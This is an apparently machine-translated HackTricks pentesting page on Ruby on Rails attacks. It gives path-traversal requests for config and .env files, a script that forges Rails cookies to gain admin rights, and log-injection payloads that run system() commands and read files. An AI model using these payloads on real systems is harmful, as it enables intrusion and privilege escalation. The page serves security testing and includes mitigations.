Ruby Tricks
Reading time: 9 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Datei-Upload zu RCE
Wie in this article erklärt, kann das Hochladen einer .rb-Datei in sensible Verzeichnisse wie config/initializers/ zu remote code execution (RCE) in Ruby on Rails-Anwendungen führen.
Tipps:
- Andere Boot-/eager-load-Standorte, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie beschreibbar sind (z. B. ist
config/initializers/der klassische Fall). Wenn Sie einen beliebigen Datei-Upload finden, der irgendwo unterconfig/landet und später evaluiert/required wird, können Sie beim Boot RCE erlangen. - Achten Sie auf dev-/staging-Builds, die nutzerkontrollierte Dateien in das Container-Image kopieren, wo Rails sie beim Start laden wird.
Active Storage image transformation → command execution (CVE-2025-24293)
Wenn eine Anwendung Active Storage mit image_processing + mini_magick verwendet und untrusted parameters an Image-Transformationsmethoden übergibt, könnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 command injection erlauben, weil einige Transformationsmethoden standardmäßig fälschlicherweise erlaubt waren.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
What to try during testing
-
Identifizieren Sie Endpunkte, die Variant/Processing-Optionen, Transformationsnamen oder beliebige ImageMagick-Argumente akzeptieren.
-
Fuzzen Sie
params[:t]undparams[:v]auf auffällige Fehler oder Ausführungsnebenwirkungen. Wenn Sie den Methodennamen beeinflussen können oder rohe Argumente an MiniMagick weiterreichen, können Sie auf dem Image-Processor-Host Code-Ausführung erzielen. -
Wenn Sie nur Lesezugriff auf generierte Varianten haben, versuchen Sie blind exfiltration über speziell gestaltete ImageMagick-Operationen.
-
Remediation/detections
-
Wenn Sie Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mit Active Storage +
image_processing+mini_magickund nutzerkontrollierten Transformationen sehen, gehen Sie davon aus, dass es ausnutzbar ist. Empfehlen Sie ein Upgrade und die Durchsetzung strikter allowlists für Methoden/Parameter sowie eine gehärtete ImageMagick-Policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
Wenn der Ziel-Stack Rack-Middleware direkt oder über Frameworks verwendet, erlauben Versionen von rack vor 2.2.13, 3.0.14 und 3.1.12 Local File Inclusion via Rack::Static, wenn :root unset/misconfigured ist. Encodierte Traversals in PATH_INFO können Dateien unter dem Prozess-Arbeitsverzeichnis oder einem unerwarteten Root offenlegen.
- Suchen Sie nach Apps, die
Rack::Staticinconfig.ruoder in Middleware-Stacks mounten. Versuchen Sie encodierte Traversals gegen statische Pfade, zum Beispiel:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Passen Sie das Prefix an, um mit den konfigurierten urls: übereinzustimmen. Wenn die App mit Dateiinhalt antwortet, haben Sie wahrscheinlich LFI auf alles unter dem aufgelösten :root.
- Mitigation: Rack updaten; sicherstellen, dass
:rootnur auf ein Verzeichnis mit öffentlichen Dateien zeigt und explizit gesetzt ist.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails verschlüsselt und signiert Cookies mit Schlüsseln, die aus secret_key_base abgeleitet werden. If that value leaked (z. B. in einem Repo, Logs oder falsch konfigurierten Credentials), können Sie in der Regel Cookies entschlüsseln, ändern und wieder verschlüsseln. Das führt häufig zu einem authz bypass, wenn die App Rollen, User-IDs oder Feature-Flags in Cookies speichert.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Hinweise:
- Ältere Apps können AES-256-CBC und die Salts
encrypted cookie/signed encrypted cookieoder JSON/Marshal-Serializer verwenden. Passe Salts, Cipher und Serializer entsprechend an. - Bei Kompromittierung oder im Rahmen eines Assessments rotiere
secret_key_base, um alle bestehenden Cookies ungültig zu machen.
Siehe auch (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
Wenn eine App (häufig ein einfacher Rack/Sinatra/Rails-Endpoint) sowohl:
- eine vom Benutzer kontrollierte Zeichenfolge unverändert protokolliert, und
- und später eine Datei per
loadlädt, deren Pfad von derselben Zeichenkette abgeleitet ist (nachPathname#cleanpath),
kann man oft Remote Code Execution erreichen, indem man das Log vergiftet und die App dazu bringt, die Log-Datei mit load zu laden. Wichtige Primitive:
- Ruby
loadwertet den Inhalt der Ziel-Datei als Ruby aus, unabhängig von der Dateiendung. Jede lesbare Textdatei, deren Inhalt als Ruby geparst wird, wird ausgeführt. Pathname#cleanpathreduziert.und..Segmente, ohne das Dateisystem zu konsultieren, und ermöglicht path smuggling: vom Angreifer kontrollierter Junk kann zum Protokollieren vorne angefügt werden, während der bereinigte Pfad weiterhin auf die beabsichtigte Datei zur Ausführung zeigt (z. B.../logs/error.log).
Minimales vulnerables Muster
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Warum das Log gültigen Ruby-Code enthalten kann
Logger schreibt Präfixzeilen wie:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
In Ruby beginnt # einen Kommentar und 9/2/2025 ist nur Arithmetik. Um gültigen Ruby-Code zu injizieren, müssen Sie:
- Beginnen Sie Ihre payload in einer neuen Zeile, damit sie nicht durch das
#in der INFO-Zeile auskommentiert wird; senden Sie eine führende Newline (\noder%0A). - Schließen Sie die offene
[(die durch die INFO-Zeile eingeführt wurde). Ein häufiger Trick ist, mit]zu beginnen und optional den Parser mit][0]=1zufriedenzustellen. - Platzieren Sie dann beliebigen Ruby-Code (z. B.
system(...)).
Beispiel dessen, was nach einer Anfrage mit einem manipulierten Parameter im Log landen wird:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Einen einzelnen String schmuggeln, der sowohl Code loggt als auch zum Log-Pfad auflöst
Wir wollen einen vom Angreifer kontrollierten String, der:
- beim rohen Logging unseren Ruby payload enthält, und
- beim Durchlauf durch
Pathname.new(<input>).cleanpathzu../logs/error.logaufgelöst wird, sodass das anschließendeloaddie soeben vergiftete Logdatei ausführt.
Pathname#cleanpath ignoriert Schemas und entfernt Traversal-Komponenten, daher funktioniert Folgendes:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Das
#vor://sorgt dafür, dass Ruby den Rest ignoriert, wenn das Log ausgeführt wird, währendcleanpathdie Endung trotzdem auf../logs/error.logreduziert. - Der führende Zeilenumbruch bricht aus der INFO-Zeile aus;
]schließt die hängende Klammer;][0]=1erfüllt die Anforderungen des Parsers.
End-to-end exploitation
- Sende Folgendes als Namen des Backup-Skripts (URL-kodiere den ersten Zeilenumbruch ggf. als
%0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Die App protokolliert deinen rohen String in
logs/error.log. - Die App berechnet
cleanpath, das sich zu../logs/error.logauflöst, und ruftloaddarauf auf. - Ruby führt den Code aus, den du ins Log injiziert hast.
Um eine Datei in einer CTF-ähnlichen Umgebung zu exfiltrieren:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (erstes Zeichen ist ein Zeilenumbruch):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Referenzen
- Rails Sicherheitsankündigung: CVE-2025-24293 Active Storage unsichere Transformationsmethoden (behoben in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Sicherheitshinweis: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks